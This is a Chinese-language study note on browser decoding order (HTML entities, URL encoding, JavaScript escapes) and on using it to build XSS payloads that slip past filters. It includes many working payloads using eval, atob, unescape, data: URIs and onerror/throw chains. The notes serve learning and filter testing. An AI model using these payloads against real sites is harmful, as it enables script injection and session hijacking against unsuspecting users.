对浏览器解析机制和xss编码绕过的一点记录

浏览器解析机制

解码顺序

html编码最先解析,url解码 javascript解码根据情况而定

html解码

标签开始状态 -> 数据状态—>标签结束状态

五类元素

  1. 空元素(Void elements),如<area>,<br>,<base>等等

  2. 原始文本元素(Raw text elements),有<script><style>

  3. RCDATA元素(RCDATA elements),有<textarea><title>

  4. 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素

  5. 基本元素(Normal elements),即除了以上4种元素以外的元素

    原始文本和基本元素的一大区别就是:HTML编码会不会被解析

    五类元素的区别如下:

    1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
    2. 原始文本元素,可以容纳文本。
    3. RCDATA元素,可以容纳文本和字符引用。
    4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
    5. 基本元素,可以容纳文本、字符引用、其他元素和注释

==》字符引用

​ ==》字符值引用 ‘<’对应的字符值引用为’<’

​ ==》字符实体引用 ‘<’对应的字符实体引用为‘<’

==》三种情况可以引用字符实体

​ ==》数据状态中的字符实体 不会转换到标签开始状态,既无法创建新标签

​ ==》RCDATA状态中的字符实体 同上

​ ==》属性值状态中的字符实体 这里面的一般都是转义的引号,或者函数名之类的,一般不会去转义标签 对于单双引号的转义是会被解析的

1
2
3
<button onclick="confirm('7&#39;);">Button</button>

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

总之一句话,

属性中的实体编码会被解析

url解码

url解码出现在 src href action等可以引入url的地方, url解码时,协议 冒号: 这两个不能编码,要不然无法识别

javascript解码时

==》 Unicode编码

​ ===》只有是标识符名称时(函数名,属性值),才能用,否则无法识别

         ===》**字符串**中只会被当作文本,不能被解析

​ ===》控制字符中(括号,单双引号),只会被当作一个文本或者字符串,不会被解析

==》\x16进制

==》\八进制

1
2
3
4
5
6
7
\u之后跟4位十六进制数。取值范围:\u0000 到 \uffff
\x之后跟2位十六进制数。取值范围:\x00 到 \xff

\x5f 等于 \u005f;

document.write("\u0041");
document.write("\x41"); 这俩结果一样

总结一下三种编码分别用在哪里

如果想利用HTML编码,可以放在url或者javascript里,ins:href src(不能解析JavaScript协议,老版本的IE貌似可以) onxxx JavaScript协议 冒号也可以

如果想利用URL编码,只能放在链接里 协议名称冒号不能编

如果想利用Unicode编码,只能放在标识符名称里(函数名,属性名);前面提到过script标签属于原始文本元素,原始文本元素中的HTML编码不会被解析,但是Unicode编码是可以被解析的

1
2
<script>aler\u0074(1)</script>//可以弹窗
<script>aler&#x74;(1)</script>//不能弹窗

以上所说的编码都是针对在值中的编码,不是在名字上的编码,也可以说结构不能编码

1
2
<img src=1 onerro\u0072=alert(1)>  这个例子把onerror的名字给改了,不能解析,也可以说结构不能编码
<img src=1 onerror=aler\u0074(1)>

利用函数增加一点解析

真实环境中,可能不会出现一个xss点在onerror中,这里仅用onerror来代表可以执行js的地方

eval

前面提到过Unicode编码,不能放在控制字符中

1
<img src=1 onerror=alert\x281)>

这样显然不能执行

加上一个eval, 这样就可以打破限制

1
<img src=1 onerror=eval('alert\u00281)')>//可以把所有的字符全都换成js的三种编码

还以可以利用一点,js支持字符拼接,像onerror属性的值,是可以加载js的,所以说他就支持js字符拼接

1
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

unescape

1
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

这里的单引号还可以使用html实体编码

1
<img src="x" onerror="eval(unescape(&#x27;%61%6c%65%72%74%28%22%78%73%73%22%29%3b&#x27;))">

atob

1
2
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
//document.location='http://www.baidu.com'

String.fromCharCode

1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

toString进制转换

1
2
3
<img src="x" onerror="eval((8680439).toString(30))(1)">
还可以这样把括号去掉,换成.. 注意8680439如果不写括号的话,需要用两个点,因为只用一个点无法分辨是浮点数还是整数
<img src="x" onerror="eval(8680439..toString(30))(1)">

协议进行编码

data协议在img a 标签中貌似不能解析,但是在iframe标签中可以解析

1
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

记录一下,可以使用data的标签

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

下面这两个就无法解析

1
2
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">aa</a>

利用报错来构造payload

1
<svg/onload="window.onerror=alert;throw'xss';">

onerror在js执行异常时都会被触发,然后利用自定义的报错语句throw,抛出错误

来分析一下,这个payload的执行过程

给onerror定义了一个函数alert,类似于回调,当发生错误时调用alert函数,throw后面的xss就是传给函数的参数

还有这样一种变形

chrom版

基础版
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

这里利用了eval,也就意味着可以,throw后面的参数,可以有更多的变形,编码

这个只在chrome下好用,火狐产生的异常信息是uncaught exception 因为这里有个空格,所以不能通过变量赋值的方式绕过,而且会产生一个语法错误。

=的作用就是把 Uncaught 定义为一个变量,类似于下面这个效果

1
<script>eval(qwe=alert(1))</script>
进阶版

这俩的分析以后补上,留个坑

1
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
1
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

Firefox版

1
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>

进阶版

通用

No.1

还可以这样删除分号,利用block语句

1
<svg/onload="{window.onerror=alert}throw 1">

参考链接

http://bobao.360.cn/learning/detail/292.html

https://xz.aliyun.com/t/4067#toc-28

https://esdiscuss.org/topic/hacking-onerror-throw

https://nosec.org/home/detail/2654.html